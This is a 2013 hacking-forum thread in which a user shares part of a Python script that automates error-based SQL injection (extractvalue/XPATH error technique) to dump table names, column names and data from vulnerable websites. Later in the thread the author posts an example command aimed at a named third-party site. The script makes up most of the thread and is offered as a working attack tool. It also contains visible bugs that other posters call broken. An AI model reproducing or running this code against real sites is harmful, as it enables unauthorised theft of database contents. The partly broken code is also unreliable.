

Forum:[Hack Forums](#)

Thread: [something i made like some mouths ago](#)

Light Yagami. - June 23, 2013, 5:59 am

this is not the whole part of it had many more other stuff i just decided to give this part out so here if it gives u errors it is because i just copied part of what i really made and just added the part for it to work

Code `#!/usr/bin/python`

`#coded by ophelia`

`import urllib2, re, sys, getopt, binascii`

`Target, ques, tab, col, hex_there, th, ask, db, string_hex = '11'`

`myopts, args = getopt.getopt(sys.argv[1:], "u:e:h:x:p:n:t:q:d:m:")`

`for o, a in myopts:`

`if o == "-u":`

`Target = a`

`elif o == "-e":`

`ask = a`

`elif o == "-x":`

`th = a`

`elif o == "-p":`

`hex_there = a`

`elif o == "-n":`

`col = a`

`elif o == "-t":`

`tab = a`

`elif o == "-q":`

`ques = a`

`elif o == "-d":`

`db = a`

`elif o == "-m":`

`string_hex = a`

`elif o == "-h":`

`print("usage : %s -u www.site.com" % sys.argv[0])`

`print("usage : %s -e exploit type" % sys.argv[0])`

`print("usage : %s -q yes or y or n this is if u dont know the table in hex vaule" % sys.argv[0])`

`print("usage : %s -x hex vaule" % sys.argv[0])`

`print("usage : %s -t table name" % sys.argv[0])`

`print("usage : %s -n column name" % sys.argv[0])`

`print("usage : %s -p yes or y or n this is if u dont know the table or column or database name" %`

```

sys.argv[0])
    print("usage : %s -m table name it will be turn into hex" % sys.argv[0])

if ask == "xpathi":
    p = urllib2.urlopen("%s" % Target)
    info = p.read()
    if "You have an error in your SQL syntax" in info:
        start = False
        c = 0
        while start == False:
            j = "from+information_schema.tables+WHERE+table_schema=database()+limit+"
            payload = urllib2.urlopen(Target +
"+and+extractvalue(rand(),concat(0x0a,(select+concat(0x7e,table_name)+\" + j + str(c)+ \",1)))--+")
            info = payload.read()
            if "XPATH syntax error" in info:
                start = False
                c += 1
                get = re.findall("~(.*)", info)[0]
                print("this is the table name [%s]" % get)
            else:
                start = True
        test = binascii.b2a_hex(string_hex)
        start = False
        c = 0
        xpf = "+from+information_schema.columns+where+table_name="
        xpl = "+limit+"
        xpb = ",1)))--+"
        if "yes" or "y" in hex_there:
            start = False
        elif "no" or "n" in hex_there:
            start = True
        else:
            start = True
        while start == False:
            payload = urllib2.urlopen(Target +
"+and+extractvalue(rand(),concat(0x0a,(select+concat(0x7e,column_name)\" + xpf + "0x" + test +
"+limit+" + str(c) + xpb)
            info = payload.read()
            if "XPATH syntax error" in info:
                start = False
                c += 1
                get = re.findall("~(.*)", info)[0]
                print("this is the column name [%s]" % get)
            else:
                start = True
        start = False
        c = 0
        if "yes" or 'y' in ques:
            start = False
        elif "no" or "n" in ques:
            start = True
        else:
            start = True

```

```

j = "+and+extractvalue(rand(),concat(0x0a,(select+concat(0x7e,"
l = ",1)))--+"
while start == False:
    payload = urllib2.urlopen(Target + j + col + ")+" + "from+" + str(tab) + "+limit+" + str(c) + l)
    info = payload.read()
    if "XPath syntax error" in info:
        start = False
        c += 1
        get = re.findall("~(.*)", info)[0]
        print("this is the information from column [%s]" % get)
    else:
        start = True

```

PigBacon - June 23, 2013, 5:48 pm

You really didn't explain at all what this does.

Looking through, it looks like it tries to brute force tables out of a sketchy SQL installation?

Light Yagami. - June 23, 2013, 8:04 pm

(Jun 23, 2013 05:48 PM)plausibility Wrote: [\[CITE\]](#) You really didn't explain at all what this does. Looking through, it looks like it tries to brute force tables out of a sketchy SQL installation? its not a brute force lol its like something that does xpath injection on site that are vulnreble to it it is kinda of hard to explain well like i said this is only a lil part of what i fully made so thats why u might see some stuff that don't add up but here is a example
python whatever.py -e xpathi -u <http://www.ag47.co.uk/detail.php?id=115> -t categories -m categories -x categories -n cat_id

~Aer - June 24, 2013, 12:56 pm

(Jun 23, 2013 08:04 PM)ophelia Wrote: [\[CITE\]](#) its not a brute force lol its like something that does xpath injection on site that are vulnreble to it it is kinda of hard to explain well like i said this is only a lil part of what i fully made so thats why u might see some stuff that don't add up but here is a example
python whatever.py -e xpathi -u <http://www.ag47.co.uk/detail.php?id=115> -t categories -m categories -x categories -n cat_id
I don't see the point of putting up a broken program with missing parts where you don't even explain what it does...

Light Yagami. - June 24, 2013, 2:56 pm

(Jun 24, 2013 12:56 PM)~Aer Wrote: [\[CITE\]](#) I don't see the point of putting up a broken program with missing parts where you don't even explain what it does...
broken it does work read the code u well get it i even gave a example